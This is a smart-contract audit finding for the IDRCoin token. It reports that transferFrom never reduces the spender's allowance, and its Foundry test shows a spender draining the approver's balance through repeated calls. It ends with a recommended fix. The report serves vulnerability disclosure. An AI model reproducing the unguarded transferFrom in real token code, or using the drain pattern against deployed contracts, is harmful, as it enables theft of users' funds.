57 lines
2.7 KiB
Markdown
57 lines
2.7 KiB
Markdown
# [H-1] IDRCoin approve function can be used to call transferFrom multiple times
|
|
|
|
## Finding description and impact
|
|
|
|
IDRCoin enables a user to let someone to use a certain amount of their token through `approve` function. It will set the `allowances[msg.sender][_spender] = _amount;` which `_spender` is the other user, and `_amount` is the limit amount of token the other user can use.
|
|
|
|
Once `approve` is called, the other user can use the amount of token through `transferFrom` function. Other user can call `transferFrom` to send the `approved` amount of token from the prior user to anyone. But the problem is, once `approve` is called, the other user can call `transferFrom` multiple times and draining the prior user wallet.
|
|
|
|
## Proof of Concept
|
|
|
|
The code [https://github.com/farismln/IDRCoin/blob/main/src/IDRCoin.sol#L142-L158](https://github.com/farismln/IDRCoin/blob/main/src/IDRCoin.sol#L142-L158)
|
|
|
|
`transferFrom` function doesn't update the `allowances`. Once `approve` function is called, the trusted spender can drain money through calling `transferFrom` multiple times.
|
|
|
|
```solidity
|
|
function test_failIf_transferFromIDRCoinMoreThanOnce() public {
|
|
// create charlie address as the receiver
|
|
address charlie = makeAddr("charlie");
|
|
|
|
// alice convert 100 dollar worth of usdt
|
|
convertUSDTtoIDR(alice, 100e6);
|
|
vm.startPrank(alice);
|
|
uint256 spendingAllowance = idrCoin.balanceOf(alice) / 4;
|
|
|
|
// alice approve bob to transfer her IDRCoin
|
|
idrCoin.approve(bob, spendingAllowance);
|
|
vm.stopPrank();
|
|
|
|
// bob transfer the IDRCoin from alice to charlie
|
|
vm.startPrank(bob);
|
|
idrCoin.transferFrom(alice, charlie, spendingAllowance);
|
|
vm.stopPrank();
|
|
|
|
// assert that now alice has his balance reduced to the amount of spendingAllowance
|
|
assertEq(idrCoin.balanceOf(alice), spendingAllowance * 3);
|
|
// assert that bob still has 0 because bob called `transferFrom` but doesn't send to himself
|
|
assertEq(idrCoin.balanceOf(bob), 0);
|
|
// assert that charlie as the receiver received the amount of spendingAllowance
|
|
assertEq(idrCoin.balanceOf(charlie), spendingAllowance);
|
|
|
|
// bob try to transfer the IDRCoin again from alice to charlie
|
|
vm.startPrank(bob);
|
|
idrCoin.transferFrom(alice, charlie, spendingAllowance);
|
|
vm.stopPrank();
|
|
|
|
// assert now alice has its balance reduced twice by spendingAllowance
|
|
assertEq(idrCoin.balanceOf(alice), spendingAllowance * 2);
|
|
assertEq(idrCoin.balanceOf(bob), 0);
|
|
// assert now charlie has its balance increased twice by spendingAllowance
|
|
assertEq(idrCoin.balanceOf(charlie), spendingAllowance * 2);
|
|
}
|
|
```
|
|
|
|
## Recommended mitigation steps
|
|
|
|
Mutate the `allowance` storage variable after the ERC20 transfer succeded in `transferFrom`
|